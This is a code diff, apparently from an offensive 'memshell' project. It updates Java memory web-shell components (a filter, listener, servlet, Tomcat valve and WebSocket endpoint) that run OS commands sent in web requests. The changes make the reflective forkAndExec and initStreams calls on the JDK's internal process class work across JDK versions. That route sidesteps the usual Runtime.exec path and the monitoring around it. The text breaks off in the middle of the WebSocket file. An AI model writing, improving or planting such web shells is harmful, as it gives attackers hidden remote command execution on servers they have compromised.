diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 683c1a41..381e8d8a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -84,20 +84,30 @@ public class CommandFilter implements Filter { int[] std_fds = new int[]{-1, -1, -1}; byte[] result = toCString(strs[0]); try { - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); - } catch (Exception e) { + } catch (NoSuchFieldException e) { + // JDK7 Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -105,9 +115,16 @@ public class CommandFilter implements Filter { null, envc[0], null, std_fds, false); } - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + // JDK11 + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 0db436d6..2a028986 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -84,20 +84,30 @@ public class CommandListener implements ServletRequestListener { int[] std_fds = new int[]{-1, -1, -1}; byte[] result = toCString(strs[0]); try { - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); - } catch (Exception e) { + } catch (NoSuchFieldException e) { + e.printStackTrace(); Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -105,9 +115,15 @@ public class CommandListener implements ServletRequestListener { null, envc[0], null, std_fds, false); } - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index fddfa6aa..8418e369 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -41,8 +41,8 @@ public class CommandServlet extends HttpServlet { outputStream.write(buf, 0, length); } } - } catch (Exception ignored) { - + } catch (Exception e) { + e.printStackTrace(); } } @@ -82,20 +82,30 @@ public class CommandServlet extends HttpServlet { int[] std_fds = new int[]{-1, -1, -1}; byte[] result = toCString(strs[0]); try { - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); - } catch (Exception e) { + } catch (NoSuchFieldException e) { + e.printStackTrace(); Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -103,9 +113,15 @@ public class CommandServlet extends HttpServlet { null, envc[0], null, std_fds, false); } - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index d83fcd6e..9e3b730f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -102,20 +102,30 @@ public class CommandValve implements Valve { int[] std_fds = new int[]{-1, -1, -1}; byte[] result = toCString(strs[0]); try { - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, null, envc[0], null, std_fds, false); - } catch (Exception e) { + } catch (NoSuchFieldException e) { + e.printStackTrace(); Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); @@ -123,9 +133,15 @@ public class CommandValve implements Valve { null, envc[0], null, std_fds, false); } - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 961ef8a6..7438325f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -7,6 +7,7 @@ import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; import java.io.ByteArrayOutputStream; +import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -38,6 +39,10 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole